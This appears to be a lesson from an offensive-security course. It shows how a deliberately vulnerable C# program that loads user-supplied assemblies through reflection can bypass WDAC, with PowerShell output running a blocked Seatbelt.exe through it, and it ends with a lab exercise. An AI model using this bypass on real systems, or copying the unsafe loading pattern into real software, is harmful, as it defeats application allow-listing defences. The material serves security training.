There are many different classes of application vulnerability such as DLL & COM hijacks, overflows, double-freeing, deserialization, and more.  Under the correct conditions, some of these can lead to a WDAC bypass.  WDAC does a good job at ensuring that a trusted app can't load untrusted modules and/or code.  For instance, DLL hijacks don't typically bypass WDAC.  The type of vulnerability that is most likely to result in a WDAC bypass is one where code is executed "inside" the trusted application.

We won't study each vulnerability class - this example shows how an unsafe use of reflection could be abused.  Reflection is a programming paradigm often used in Java and C# to dynamically create an instance of a type at runtime.

Consider the following C#:

using System.IO;
using System.Reflection;

namespace VulnerableApp;

internal static class Program
{
    public static void Main(string[] args)
    {
        var bytes = File.ReadAllBytes(args[0]);
        var asm = Assembly.Load(bytes);

        asm.EntryPoint.Invoke(null, new object[]
        {
            new string[] { }
        });
    }
}

  

This application takes in a path to a .NET assembly on disk, and reads it as a raw byte array.  It passes those bytes to the `Assembly.Load` method, which loads the assembly into the `AppDomain` of itself.  After the assembly has been loaded, it calls its main entry point.  This works as a WDAC bypass because this trusted application is taking and loading content from an untrusted (user-supplied) location, similar to how a LOLBAS' work.

If, for example, we had `Seatbelt.exe` on the desktop, it can't execute it directly but it can via this app.

PS C:\Users\rasta> .\Desktop\Seatbelt.exe
Program 'Seatbelt.exe' failed to run: Your organization used Device Guard to block this app. Contact your support person for more info

PS C:\Users\rasta> & 'C:\Program Files\LegitApp\VulnerableApp.exe' .\Desktop\Seatbelt.exe


                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.1.1         ,(((&%%%%%%%%%%%%%%%%%,>
                         #%%%%##,

  

This is obviously a contrived example and the "exploitability" would depend on if and where the vulnerable code was exposed to the user.

  

  **EXERCISE**  
  
Find and exploit the vulnerable .NET application on **Workstation 3**.


